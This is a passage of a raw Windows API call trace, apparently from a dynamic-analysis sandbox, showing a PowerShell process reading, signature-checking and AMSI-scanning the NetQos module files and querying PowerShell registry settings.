ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x721277da, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetQos.psd1", cAlternateFileName="")) returned 0 [0115.165] FindClose (in: hFindFile=0x7682828 | out: hFindFile=0x7682828) returned 1 [0115.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e748) returned 1 [0115.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e754) returned 1 [0115.165] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\netqos.psd1")) returned 0x20 [0115.165] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0115.165] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x46, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", lpFilePart=0x0) returned 0x45 [0115.165] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0115.165] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x46, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", lpFilePart=0x0) returned 0x45 [0115.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e744) returned 1 [0115.165] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\netqos.psd1"), fInfoLevelId=0x0, lpFileInformation=0x548f0f8 | out: lpFileInformation=0x548f0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721277da, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x721277da, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x721277da, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x28a)) returned 1 [0115.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e740) returned 1 [0115.166] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0115.166] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x46, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", lpFilePart=0x0) returned 0x45 [0115.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e664) returned 1 [0115.166] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\netqos.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa24 [0115.166] GetFileType (hFile=0xa24) returned 0x1 [0115.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e660) returned 1 [0115.166] GetFileType (hFile=0xa24) returned 0x1 [0115.166] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x0 [0115.166] ReadFile (in: hFile=0xa24, lpBuffer=0x548fee4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x548fee4*, lpNumberOfBytesRead=0x843e6cc*=0x28a, lpOverlapped=0x0) returned 1 [0115.168] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x28a [0115.168] ReadFile (in: hFile=0xa24, lpBuffer=0x548fee4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x548fee4*, lpNumberOfBytesRead=0x843e6cc*=0x0, lpOverlapped=0x0) returned 1 [0115.168] CloseHandle (hObject=0xa24) returned 1 [0115.169] CoCreateGuid (in: pguid=0x843e70c | out: pguid=0x843e70c*(Data1=0x256a29cd, Data2=0xe256, Data3=0x4b4e, Data4=([0]=0x82, [1]=0xae, [2]=0xf6, [3]=0x17, [4]=0x3c, [5]=0x6b, [6]=0xa9, [7]=0xd1))) returned 0x0 [0115.169] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa24 [0115.169] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0xa08 [0115.169] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa50 [0115.169] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa28 [0115.169] SetEvent (hEvent=0xa28) returned 1 [0115.169] SetEvent (hEvent=0xa24) returned 1 [0115.169] SetEvent (hEvent=0xa08) returned 1 [0115.169] SetEvent (hEvent=0xa50) returned 1 [0115.169] AmsiCloseSession () returned 0x315cd38 [0115.169] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa74 [0115.170] SetThreadUILanguage (LangId=0x0) returned 0x2c70409 [0115.319] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e3f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e3f8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x2f, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0115.319] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e364*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e364*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x2d, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0115.319] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x2f, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x2f, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0115.323] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\netqos.psd1")) returned 0x20 [0115.323] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0115.323] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x46, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", lpFilePart=0x0) returned 0x45 [0115.323] CoTaskMemAlloc (cb=0x20c) returned 0x73bf4c8 [0115.323] GetSystemDirectoryW (in: lpBuffer=0x73bf4c8, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0115.323] CoTaskMemFree (pv=0x73bf4c8) [0115.323] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0115.323] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0115.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e010) returned 1 [0115.323] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843e08c | out: lpFileInformation=0x843e08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0115.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e00c) returned 1 [0115.323] GetSystemInfo (in: lpSystemInfo=0x843e0c0 | out: lpSystemInfo=0x843e0c0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0115.324] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e050 | out: phkResult=0x843e050*=0xa20) returned 0x0 [0115.324] RegQueryValueExW (in: hKey=0xa20, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843e06c, lpData=0x0, lpcbData=0x843e068*=0x0 | out: lpType=0x843e06c*=0x0, lpData=0x0, lpcbData=0x843e068*=0x0) returned 0x2 [0115.324] RegCloseKey (hKey=0xa20) returned 0x0 [0115.324] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0115.324] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x46, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", lpFilePart=0x0) returned 0x45 [0115.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dfc8) returned 1 [0115.325] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\netqos.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa20 [0115.325] GetFileType (hFile=0xa20) returned 0x1 [0115.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dfc4) returned 1 [0115.325] GetFileType (hFile=0xa20) returned 0x1 [0115.325] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e004*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e004*=0) returned 0x0 [0115.325] ReadFile (in: hFile=0xa20, lpBuffer=0x549df88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e030, lpOverlapped=0x0 | out: lpBuffer=0x549df88*, lpNumberOfBytesRead=0x843e030*=0x28a, lpOverlapped=0x0) returned 1 [0115.325] SetFilePointer (in: hFile=0xa20, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e004*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e004*=0) returned 0x28a [0115.325] ReadFile (in: hFile=0xa20, lpBuffer=0x549df88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e030, lpOverlapped=0x0 | out: lpBuffer=0x549df88*, lpNumberOfBytesRead=0x843e030*=0x0, lpOverlapped=0x0) returned 1 [0115.325] CoTaskMemAlloc (cb=0x20c) returned 0x73bea00 [0115.325] GetSystemDirectoryW (in: lpBuffer=0x73bea00, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0115.325] CoTaskMemFree (pv=0x73bea00) [0115.325] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0115.325] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0115.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843df64) returned 1 [0115.325] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843dfe0 | out: lpFileInformation=0x843dfe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0115.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843df60) returned 1 [0115.325] GetSystemInfo (in: lpSystemInfo=0x843e014 | out: lpSystemInfo=0x843e014*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0115.326] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843dfa4 | out: phkResult=0x843dfa4*=0xa54) returned 0x0 [0115.326] RegQueryValueExW (in: hKey=0xa54, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843dfc0, lpData=0x0, lpcbData=0x843dfbc*=0x0 | out: lpType=0x843dfc0*=0x0, lpData=0x0, lpcbData=0x843dfbc*=0x0) returned 0x2 [0115.326] RegCloseKey (hKey=0xa54) returned 0x0 [0115.326] CloseHandle (hObject=0xa20) returned 1 [0115.327] CoCreateGuid (in: pguid=0x843e094 | out: pguid=0x843e094*(Data1=0x7c7d36ae, Data2=0x3a4e, Data3=0x4419, Data4=([0]=0x8d, [1]=0x52, [2]=0xb0, [3]=0xa, [4]=0x1b, [5]=0x57, [6]=0x39, [7]=0x77))) returned 0x0 [0115.327] QueryPerformanceCounter (in: lpPerformanceCount=0x843ddf4 | out: lpPerformanceCount=0x843ddf4*=79745863964) returned 1 [0115.327] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0115.327] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x46, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", lpFilePart=0x0) returned 0x45 [0115.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dd28) returned 1 [0115.327] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\netqos.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843dda4 | out: lpFileInformation=0x843dda4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721277da, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x721277da, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x721277da, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x28a)) returned 1 [0115.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dd24) returned 1 [0115.327] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0115.327] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x46, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", lpFilePart=0x0) returned 0x45 [0115.327] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0115.327] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x46, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", lpFilePart=0x0) returned 0x45 [0115.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dc9c) returned 1 [0115.327] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\netqos.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843dd18 | out: lpFileInformation=0x843dd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721277da, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x721277da, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x721277da, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x28a)) returned 1 [0115.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dc98) returned 1 [0115.328] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0115.328] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x46, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", lpFilePart=0x0) returned 0x45 [0115.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dc70) returned 1 [0115.328] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\netqos.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa20 [0115.328] GetFileType (hFile=0xa20) returned 0x1 [0115.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dc6c) returned 1 [0115.328] GetFileType (hFile=0xa20) returned 0x1 [0115.328] WTGetSignatureInfo () returned 0x0 [0115.469] CertDuplicateCertificateContext (pCertContext=0x73c28d0) returned 0x73c28d0 [0115.469] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843dcd4 | out: phkResult=0x843dcd4*=0xa78) returned 0x0 [0115.469] RegQueryValueExW (in: hKey=0xa78, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dcf4, lpData=0x0, lpcbData=0x843dcf0*=0x0 | out: lpType=0x843dcf4*=0x1, lpData=0x0, lpcbData=0x843dcf0*=0x56) returned 0x0 [0115.469] RegQueryValueExW (in: hKey=0xa78, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dcf4, lpData=0x54a3b24, lpcbData=0x843dcf0*=0x56 | out: lpType=0x843dcf4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843dcf0*=0x56) returned 0x0 [0115.469] RegCloseKey (hKey=0xa78) returned 0x0 [0115.470] CoTaskMemAlloc (cb=0x10) returned 0x7443ca0 [0115.470] CoTaskMemAlloc (cb=0x30) returned 0x740da98 [0115.470] WinVerifyTrust () returned 0x0 [0115.470] CoTaskMemFree (pv=0x740da98) [0115.470] CoTaskMemFree (pv=0x7443ca0) [0115.470] CertFreeCertificateContext (pCertContext=0x73c28d0) returned 1 [0115.470] CloseHandle (hObject=0xa20) returned 1 [0115.470] AmsiOpenSession () returned 0x0 [0115.470] AmsiScanString () returned 0x80070015 [0115.474] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\en-US\\NetQos.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\en-us\\netqos.psd1")) returned 0xffffffff [0115.474] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\en\\NetQos.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\en\\netqos.psd1")) returned 0xffffffff [0115.474] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0115.474] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", nBufferLength=0x46, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1", lpFilePart=0x0) returned 0x45 [0115.474] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0115.474] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x3a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", lpFilePart=0x0) returned 0x39 [0115.474] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d6e0 | out: phkResult=0x843d6e0*=0xa20) returned 0x0 [0115.475] RegQueryValueExW (in: hKey=0xa20, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x0, lpcbData=0x843d6fc*=0x0 | out: lpType=0x843d700*=0x1, lpData=0x0, lpcbData=0x843d6fc*=0x56) returned 0x0 [0115.475] RegQueryValueExW (in: hKey=0xa20, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x54aacdc, lpcbData=0x843d6fc*=0x56 | out: lpType=0x843d700*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d6fc*=0x56) returned 0x0 [0115.475] RegCloseKey (hKey=0xa20) returned 0x0 [0115.476] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\MSFT_NetQosPolicy.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\msft_netqospolicy.types.ps1xml")) returned 0x20 [0115.479] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\MSFT_NetQosPolicy.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\msft_netqospolicy.types.ps1xml")) returned 0x20 [0115.479] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\MSFT_NetQosPolicy.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\msft_netqospolicy.types.ps1xml")) returned 0x20 [0115.480] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d6e0 | out: phkResult=0x843d6e0*=0xa20) returned 0x0 [0115.480] RegQueryValueExW (in: hKey=0xa20, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x0, lpcbData=0x843d6fc*=0x0 | out: lpType=0x843d700*=0x1, lpData=0x0, lpcbData=0x843d6fc*=0x56) returned 0x0 [0115.480] RegQueryValueExW (in: hKey=0xa20, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x54b93cc, lpcbData=0x843d6fc*=0x56 | out: lpType=0x843d700*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d6fc*=0x56) returned 0x0 [0115.480] RegCloseKey (hKey=0xa20) returned 0x0 [0115.483] WTGetSignatureInfo () returned 0x0 [0115.590] CertDuplicateCertificateContext (pCertContext=0x73c29c0) returned 0x73c29c0 [0115.590] WinVerifyTrust () returned 0x0 [0115.590] CoTaskMemFree (pv=0x740d788) [0115.590] CoTaskMemFree (pv=0x7443da8) [0115.590] CertFreeCertificateContext (pCertContext=0x73c29c0) returned 1 [0115.590] CloseHandle (hObject=0xa20) returned 1 [0115.590] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\MSFT_NetQosPolicy.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 